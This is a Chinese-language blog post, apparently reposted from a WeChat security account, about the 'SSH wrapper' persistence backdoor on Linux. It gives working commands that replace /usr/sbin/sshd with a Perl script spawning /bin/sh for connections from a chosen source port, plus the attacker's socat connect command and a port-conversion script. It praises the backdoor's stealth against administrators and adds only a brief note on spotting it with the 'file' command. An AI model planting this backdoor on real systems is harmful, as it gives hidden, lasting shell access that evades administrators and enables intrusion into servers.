SSH wrapper后门原理
Linux中init首先启动的是/usr/sbin/sshd,原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。如果这个子进程的标准输入输出已被重定向,那么getpeername能获取到客户端的TCP端口,将会派生给执行sh命令执行的权限。简而言之就是反弹shell,与常见的反弹shell不同的是,SSH wrapper后门通过长连接反弹shell的方式,使得攻击者在退出终端后仍然能进行连接。
SSH wrapper后门实现
这里伪装成一个perl脚本,名为sshd,位于/usr/sbin/sshd,将系统原来的sshd移动到/usr/bin下
cd/usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' > sshd
echo 'exec"/bin/sh"if(getpeername(STDIN)=~/xb8/);' >> sshd
echo 'exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV,' >> sshd
chmod u+x sshd
systemctl restart sshd
攻击机进行连接
socat STDIO TCP4:192.168.100.10:22,sourceport=8888
xb8
是Big 网络字节序的Ascii表示形式,这里表示8888端口 这里不是固定的,这里提供一个端序转换脚本,输入你想要的端口号即可转换为大端序
import struct
def convert_to_big_endian(value):
try:
value = int(value)
byte_sequence = value.to_bytes(4, byteorder='big')
return byte_sequence
except ValueError:
print("输入值无效。请输入一个整数。")
return None
# 获取用户输入
value = int(input("请输入整数值:"))
byte_sequence = convert_to_big_endian(value)
if byte_sequence is not None:
print(f"原始值:{value}")
print(f"转换后的大端字节序:{byte_sequence}")
优点:
1、在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆。
2、在针对边界设备出网,内网linux服务器未出网的情况下,留这个后门可以随时管理内网linux服务器,还不会留下文件和恶意网络连接记录。
SSH Wrapper应急响应
其实这款后门也比较好发现,首先正常的sshd 文件是ELF格式,而后门是纯文本脚本,使用file 命令就可以发现 后门文件
正常文件
原文始发于微信公众号(河马安全区):Linux权限维持-SSH wrapper
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论